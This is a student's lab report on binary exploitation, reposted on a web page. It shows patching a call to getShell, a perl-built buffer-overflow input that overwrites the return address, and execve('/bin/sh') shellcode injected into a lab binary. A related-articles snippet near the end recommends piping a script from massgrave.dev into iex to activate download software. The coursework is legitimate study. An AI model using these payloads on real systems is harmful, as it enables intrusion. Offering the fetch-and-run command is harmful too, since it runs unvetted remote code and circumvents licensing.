# 20222323 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/9 22:42:29/文章来源:https://www.cnblogs.com/dxh1459110526/p/18455341

1.实验内容

1、熟悉基本的汇编指令,如管道、输入、输出重定向
2、掌握了栈与堆的概念
3、掌握反汇编与十六进制编程器

实验任务

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

任务一 直接修改程序机器指令,改变程序执行流程

下载目标文件pwn1,将其上传至kali,重命名为pwn20222323
(直接拖进去发现不行,选择用复制粘贴实现)



使用命令objdump -d pwn20222323 | more对文件pwn20222323进行反汇编。



找到main函数及getshell、foo子函数的部分



从main函数中的call可以看出是跳转到foo子函数的,e8为跳转,d7ffffff是foo函数的地址



如果想让它调用getShell,只要修改d7ffffff为“getShell-80484ba”对应的补码即可,经过计算得到补码c3ffffff。



输入命令vi pwn20222323进行编辑,接着输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。(使用/e8d7查找)



将其中的call指令的目标地址由d7ffffff变为c3ffffff。



输入:%!xxd -r转换16进制为原格式,:wq保存修改。
再反汇编观察call指令是否正确调用getShell。



第一次反汇编失败,是文件权限不足,使用chmod +777 pwn20222323为该文件赋予最高权限后正常执行getshell。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

foo函数只预留了56字节(OX38)的缓冲区,有Buffer overflow漏洞,通过覆盖返回地址,从而触发getShell函数。



首先得安装gdb。
使用sudo apt updatesudo apt install gdb命令安装gdb。


然后根据实验指导手册确认哪几个字符会覆盖到返回地址
启动gdb,输入1111111122222222333333334444444412345678,使用info r查看EIP寄存器中的数据。

eip中存的地址变成了 0x34333231,也就是4321,那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222323,pwn20222323就会运行getShell。


使用手册中的命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,然后将input的输入,通过管道符“|”,作为pwn20222323的输入。



然后将input的输入,通过管道符“|”,作为pwn20222405_BOF的输入。

输入命令ls,成功执行getshell的功能。

任务三 注入Shellcode并执行

首先修改堆栈设置,但没有安装execstack,于是先使用命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb安装此工具。



修改栈堆设置。




构造要注入的payload:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode



注入攻击buf:



打开另一个终端进行调试
先查看进程号



启动gdb调试这个进程。



设置断点,查看注入buf的内存地址。





运行成功!

3.问题及解决方案

  • 问题1:任务一中用/e8d7查找失败
  • 问题1解决方案:只查找了d7再找e8d7。
  • 问题2:系统缺少gdb
  • 问题2解决方案:根据两个命令安装gdb即可正常使用
  • 问题3:系统缺少execstack
  • 问题3解决方案:根据同学提供的安装代码进行安装即可正常使用

4.学习感悟、思考等

作为第一次攻防实验实在是无从下手,即使是最简单的任务一也在实验课上弄了很久才搞明白,任务二和任务三更是一点点摸索着做出来的,同学的帮助也是十分必要,没有他们的帮助,我的execstack就找不到安装源,部分概念也不能理解。通过这次实验,我对汇编语言、堆栈以及缓冲区溢出等知识有了更深入的了解,希望能在今后的学习中进一步消化这些难懂的知识。

参考资料

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/810812.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shctf [week1]poppopop

最近刚好在学pop链和反序列化,那就写一篇shctf做题的随笔吧 进来先审计代码;1.发现反序列化首先会调用__destruct()魔术方法,将$Web赋为true,并echo $n,显然在这里我们得再有一个魔术方法,又因为这里调用的n被当字符串输出,一眼看到__toString(),考虑把$n赋值为new F()…

一条命令激活Internet Download Manager

admin • 2023-09-12 上午7:03 • 免费资源, 杂谈 • 阅读 88使用Internet Download Manager可以使用如下命令激活在科学联网情况下,复制这条命令irm https://massgrave.dev/ias | iexWin8.1/Win10/Win11系统下,在windows徽标上单击鼠标右键,在弹出的菜单中选择”windows po…

2024/10/09 模拟赛总结

\(100+40+20+8=168\),拿到了大众分,至少没挂分吧 #A. 矩阵交换 一个 \(m\) 维偏序,可以使用 \(m-1\) 维树状数组解决 以第 \(i\) 作为第 \(i\) 关键字,进行排序,这样一定最优。排完之后直接判断是否满足条件即可 // BLuemoon_ #include <bits/stdc++.h>using namesp…

USB协议详解第12讲(USB传输-初探)

1.USB传输、事务、包的关系 USB传输、事务、包是从不同层次上去说明一次数据交互的三个概念。 举个例子可能更好些,"某领导和一个早起的程序员进行了一次交流,说了5件事"。 OK,其实这里的"这次交流"就相当于USB的一次传输,"说了5件事"就相当…

隧道云 cpolar

Dify+Ollama+llava大模型本地搭建个人AI知识库并实现远程访问 https://www.bilibili.com/video/BV1tu24YyEDh/?spm_id_from=333.337.search-card.all.click&vd_source=57e261300f39bf692de396b55bf8c41bcpolar https://www.cpolar.com/features什么是cpolar?cpolar是一种…

C++类

C++类 类 // public 成员提供类的接口,暴漏给外界,供外界使用 // private:提供各种实现类功能的细节方法,但不暴漏给使用者,外界无法使用 // 注意:struct 是成员默认为 public 的 class、class 成员默认是 private class student{ public:int number;char name[100]; …

SE_Paring_Work2

目录具体分工 PSP表格 解题思路描述与设计实现说明3.1 团队作业功能的实现思路 3.2 关键实现的流程图 3.3 重要/有价值的代码片段附加特点设计与展示4.1 设计的创意独到之处及意义 4.2 实现思路 4.3 重要/有价值的代码片段目录说明和使用说明5.1 目录的组织 5.2 如何运行单元测…

PasteForm最佳CRUD实践,实际案例PasteTemplate详解之3000问(四)

无论100个表还是30个表,在使用PasteForm模式的时候,管理端的页面是一样的,大概4个页面, 利用不同操作模式下的不同dto数据模型,通过后端修改对应的dto可以做到控制前端的UI,在没有特别特殊的需求下可以做到快速的实现CRUD! 免去版本兼容问题,免去前后端不一致的问题,免…

【Azure Entra ID】使用PowerShell脚本导出Entra ID中指定应用下的所有用户信息

问题描述 在Azure Entra ID中,需要导出一个Application 下的用户信息, 包含User的创建时间。 问题解答 可以使用PowerShell 脚本来实现, 只需要执行如下脚本:Connect-AzureAD -AzureEnvironmentName AzureChinaCloud$users = Get-AzureADServiceAppRoleAssignment -ObjectId…

中国移动宽带 IPv6 连接到公网,家庭宽带设置服务器(2024年10月)

摘要: 1、中国移动的宽带,已经支持 IPv6,需要宽带光猫上做好设置。 2、需要从 中国移动 的服务器上获取公网 IPv6 地址。操作: 1、确保宽带WAN连接的前缀获取方式:Prefix Delegation 网关的默认登录用户名(user)、密码,在设备的背面有写着。 如果不是,就联系客服,询问…

实验1 现代C++基础编程

任务1: 源代码task1.cpp1 #include <iostream>2 #include <string>3 #include <vector>4 #include <algorithm>5 6 using namespace std;7 8 // 声明9 // 模板函数声明 10 template<typename T> 11 void output(const T &c); 12 13 // 普通…